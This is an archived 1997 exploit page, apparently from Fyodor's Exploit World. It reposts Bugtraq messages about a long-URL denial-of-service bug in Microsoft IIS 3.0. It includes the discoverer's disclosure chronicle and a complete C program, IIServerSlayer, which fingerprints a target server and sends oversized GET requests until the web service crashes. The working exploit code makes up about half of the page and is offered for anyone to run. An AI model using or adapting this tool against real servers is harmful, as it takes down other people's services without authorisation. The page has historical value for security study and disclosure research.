M$ IIS DOS long URL vulnerability
Description: | If you send a specially formatted URL of about 8K to IIS, you can crash the server |
Author: | Todd Fast (loser) found the bug, and Andrea Arcangeli <arcangeli@mbox.queen.it> ported the exploit to gcc. |
Compromise: | Stupid DOS attack |
Vulnerable Systems: | Anything running unpatched M$ IIS, mostly just NT. |
Date: | 21 June 1997 |
Notes: | The exploit is appended to the "advisory" cruft. Don't check his webside, these details and the code have been removed. |
Date: Sat, 21 Jun 1997 12:02:51 -0500
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: http://www.eden.com/~tfast/jihad.html
CyberJihad
The Microsoft IIS Bug
My chronicle of finding a most embarrassing bug
by Todd Fast
________________________________________________________
The Story
My name is Todd Fast, and I found a bug today. I found it while trying
to determine the maximum length of a URL Microsoft's Internet
Information Server (IIS) would accept without an error. This website
is dedicated to this bug and my chronicle of it.
In case you haven't heard the details, there's a bug in Microsoft's
Internet Information Server on Windows NT (and possibly other
platforms) that allows a remote user--any user--to shut down the web
server, and consequently the web site, using nothing more than a web
browser.
This is a hugely embarrassing bug for Microsoft in my opinion,
particularly since they've just been lauded for pulling ahead of
Netscape in Web server market. Knowing that anyone with a grudge and a
twitchy keyboard could shut down any of their customer's web sites
must bear horribly on their collective conscience. (Ask yourself, was
that sarcasm?)
The Bug
I know you can't wait to know more, so here are the nitty-gritty
details on the actual bug, from the original message I sent to
InfoWorld:
I've found a severe bug that allows any remote user on the Internet to
halt web services on an Microsoft NT 4.0 server running Microsoft's
Internet Information Server version 3. This bug appears to unaffected
by the installation of Service Pack 3.
Let me explain the details of the bug and how I came across it. The
bug surfaces when a remote user requests a Web URL from the IIS server
that contains a certain number of characters (I'll call this number
the "bug threshold") and is of the following form:
http://<some web server>/?something=XXXXXXXX...
To cause the fatal error, this URL should contain a CGI name/value
pair of a certain length. Note that the user does not have to request
any specific document: the error occurs because of the length of the
URL alone. Apparently, this bug only appears when using Netscape
Navigator to contact the server because Internet Explorer won't allow
such a long URL to be sent.
The length of the URL required to cause a crash is specific to each
server, but seems to hover around 8K. Finding the correct length to
kill an IIS server requires trial and error. I've found that URLs
above the bug threshold return a "404 Object Not Found" or similar
error. Below the threshold, the requested page loads properly.
However, sending a URL who's length is exactly the bug threshold
causes the server to stop responding.
When a user sends this URL to an IIS web server, it causes an access
violation in the INETINFO.EXE process. We don't know what this small
8k process's role is in the server's operation, but when it fails, it
causes the WWW service under IIS to stop. The site administrator must
then clear the error and restart the service to continue operation.
The bug does not always appear upon the first document request, but
repeated application will eventually cause INETINFO.EXE to fail.
A colleague, Bill Chaison, has studied the Dr. Watson log file and
offers more information on the location of the error in the
INETINFO.EXE process:
"This particular GPF occurred at 0x77A07614 on our server. The
offending application is INETINFO.EXE, one of IIS 3.0's components.
The stamp properties of our EXE are DATE=08/09/96, TIME=01:30a,
SIZE=7440 bytes. Referencing the dump, thread ID 0xF9 performed a
string compare function which caused a read fault during an iteration
of the CMPSB (compare string byte by byte) opcode. This opcode works
off of ESI and EDI as its base pointers and ECX as its loop repeater.
I suspect that either ECX was either miscalculated to begin with, or
ESI or EDI went out of range and caused a protection exception. The
Watson error dialog reflected 0x77A07614 as the CS:EIP of the fault
when the message box popped up. The log file below confirms the
address of the error. Search the file for "FAULT ->" to jump to its
description."
See the attached file IISCRASH.TXT file for the stack dump.
I discovered the bug while trying to determine the maximum length of
the URL IIS would accept. While doing so, I found that our in-house
server stopped responding. Not realizing that this was a bug that
affected all copies of IIS, I continued my investigation using
Microsoft's site, www.microsoft.com, and inadvertently shut down their
web server as well. At this point I realized that the error was indeed
a bug that affected IIS itself.
To my knowledge, this bug has never been exploited or been used to
crash or deny service from any web site. However, just because I spoke
up about it doesn't mean that someone else hasn't already found or
been using it. All you webmasters out there using IIS, have you had
any strange crashes lately?
Are you a CyberTerrorist?
If so, please don't start your own CyberJihad by downloading the
following program and easily reproducing this bug on any number of IIS
servers all over the Internet. The Internet Worm was bad enough, and
that is not my intent.
I'm making this program available so that those of you running IIS can
more easily assess your web server's vulnerability and whether this
bug would do anything more than deny your customers service (as if
that's not bad enough).
Remember this program doesn't do anything special or sneaky, it just
makes the job of finding the already-existing bug on a particular
server somewhat easier. It does nothing that someone couldn't do in
about 5 minutes with a browser anyway, so please, no hate mail from
webmasters for making it available. Instead, blame Microsoft's bug.
Here are the details:
I created a small Java program, called IIServerSlayer, that repeatedly
hits a web server with a varying length URL until the web server stops
responding due to the IIS bug. To run the program, first ensure that
you have Java 1.0.2 installed on your machine and running properly.
Put the IIServerSlayer.class file in a directory and open a command
window located at that directory. Use the following command line:
java -classpath .;%classpath% IIServerSlayer <some IIS web server>
<starting URL length>
We use a starting URL length of between 8200 and 8300 to crash our
server, but one of our servers crashed in a much lower range of around
4000 bytes. Trial and error is the only way to determine the threshold
and I suggest starting at a length of 8300. Also, don't use http:// in
front of the server name; the program does that for you.
One of the things to note about the program is that it can't really
detect if the web request is being served properly. Because the bug
doesn't always surface on the first document request with the
problematic URL, the program only decrements the length counter if an
error occurs, but assumes that server is about to crash if an error
doesn't occur and the counter has remained the same. This means that
if you start the program and don't see a series of lines like the
following:
Trying length xxxx...Done
Trying length xxxx...Done
Trying length xxxx...Done
...
and instead see this:
Almost dead! Retrying length xxxx...Done
Almost dead! Retrying length xxxx...Done
Almost dead! Retrying length xxxx...Done
you have started with too low a URL length and need to Ctrl-C the
program and restart it with a higher length. When the program pauses
for more than a few seconds on a particular statement, you can be sure
that the web server has died. When you go to the web server and clear
the error, IIServerSlayer detects that the error occurred and gives
you a message stating so.
Download a copy of IIServerSlayer for personal, non-malicious use
Chronicle
Because the Internet's relevance to our existence is access to timely
information, I'm posting the chronicle of my experience with this bug
below in as close to real time as I can. I don't know whether it will
turn out interesting or not, but there's no way to tell until I try
it.
6-19-97
~3:30 PM CST I contact News Editor Michael Parsons at the trade
publication InfoWorld and tell him a strange story of a bug I've found
in IIS that allows any remote user to shut down an IIS web server.
Michael sounds keenly interested and I promise to send him additional
information and the program I've written to reproduce the bug shortly.
About 20 minutes later I send the email.
6-19-97
4:45 PM CST Jon P. at Microsoft calls to ask about the nature of the
bug. He sounds nervous to me and wants to get straight to the point. I
tell him that I'll send along the email I sent to InfoWorld along with
the program. He sounds skeptical, but accepts. He seems to think that
this is probably a bug Microsoft has already addressed in a service
pack or a hotfix. I'm not so sure. Let's wait and see.
6-19-97
~5:15 PM CST Maggie Biggs at InfoWorld calls to ask some additional
questions about the bug for an upcoming news release. She says she's
been able to reproduce the bug and wonders how it may affect other web
services in IIS like FTP. I agree to send my program to her so she can
use it to reproduce the problem. She's very friendly and helpful.
6-19-97
5:40 PM CST Maggie Biggs at InfoWorld emails to tell me she's
reproduced the problem on her test machines and will be assessing the
bug related to other World Wide Web services under IIS. She's stated
that one of her test machines crashed altogether, a situation she's
called "potentially...quite serious".
6-19-97
5:55 PM CST News is spreading like wildfire. Another journalist at
InfoWorld in Seattle calls and interviews me on the phone about the
nature of the bug. He asks if the bug would occur during normal usage
of the server and I said it probably would not due to the length of
the string.
More Info?
As more information on this problem comes to light, I'll post it here.
Keep coming back to check out the latest news.
What's with the name?
I named this website after the title of this message from an old
friend, upon hearing the news:
"You're walking the fine line between info-terrorist and "just another
guy looking to help mankind". Here's a tip: if you'd like to be
labeled info-terrorist, send an e-mail to Microsoft like those Danish
guys that found the Netscape security flaw. I think the e-mail
actually said, "OK, where's the guy with the checkbook". Then you
could adopt some crazy online name like 'LordChaos' or 'DethKing' like
those Undernet software pirates do.
"P.S. If this blows up and I get interviewed, you can count on me
saying all kinds of awful stuff: 'He was a loner. He read Soldier of
Fortune a whole lot.' Then I'd throw in a curveball to make people
really wonder: 'He would get really upset whenever 'The Tick' episode
was a rerun and would launch a new computer virus".
I promise it's not all true.
Parting Words
A colleague had the good sense to remind of something I'd almost
forgotten before today:
You get what you pay for
Copyright C 1997 by Todd Fast. All rights reserved.
Contact the author, Todd Fast, at tfast@eden.com
Date: Wed, 2 Jul 1997 21:03:31 +0200
From: Andrea Arcangeli <arcangeli@mbox.queen.it>
To: BUGTRAQ@NETSPACE.ORG
Subject: gcc port of IIServerSlayer
/* Some days ago I found the page http://www.eden.com/~tfast/jihad.html
Then I found the java program IIServerSlayer.class made by
Todd Fast <tfast@eden.com>, the author of the web pages.
Now I have ported that program in gcc from java using strace and
disassembling IIServerSlayer.class with javap (part of jdk).
For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2
and glibc.
by Andrea Arcangeli <arcangeli@mbox.queen.it> */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>
int s;
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(2);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(3);
}
return 0;
}
char *generate_die_string(int lenght) {
char letter='X';
char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
int i;
str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
strcpy(str,str_begin);
for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
str[i]=0;
strcat(str,str_end);
return (char *)str;
}
void IIServerSlayer(char *target,int lenght,int port,int flags) {
char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
char *IIS_patch = "Bad Request";
int count = 0,return_status;
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(1);
}
if((return_status = open_sock(s,target,port))) exit(return_status);
if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);
else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"
,target);
send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
printf("Waiting for the reply from %s\n",target);
buff[1]=0;
while(recv(s,buff,1,0) == 1) {
if(flags & 1) printf("%s",buff);
else if(!div(count,50).rem) printf(".");
if(count < 511) header[count]=buff[0];
count++;
}
printf("\n");
header[511]=0;
if(strstr(header,IIS_string) == NULL && lenght == 0) {
printf("This is not a Microsoft-IIS/3.0 web server\n");
if(!(flags & 2)) exit(0);
}
else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");
if(strstr(header,IIS_patch) != NULL) {
printf("This IIS/3.0 web server is patched against this exploit\n");
if(!(flags & 2)) exit(0);
}
close(s);
}
void main(int argc,char **argv)
{
int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
if (argc < 2 ) {
printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
printf("[-v] = verbose mode to view the server reply\n");
printf("[-f] = force running over non or patched IIS/3.0 web server\n");
exit(0);
}
for(i=1;i<argc;i++) {
if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
}
if(argc > param+2) lenght = atoi(argv[param+2]);
if(argc > param+3) port = atoi(argv[param+3]);
for(i=0;i<3;i++,lenght++) {
if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
else IIServerSlayer(argv[param+1],0,port,flags);
if(i == 1 || i == 0) lenght--;
}
if((pid = fork())) {
if(pid == -1) {
perror("I can' t fork\n");
exit(-1);
}
usleep(60000000); /* wait for 1 minute */
kill(pid,SIGTERM);
}
else {
IIServerSlayer(argv[param+1],lenght,port,flags);
printf("Sorry, %s is alive yet\n",argv[param+1]);
}
exit(0);
}
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: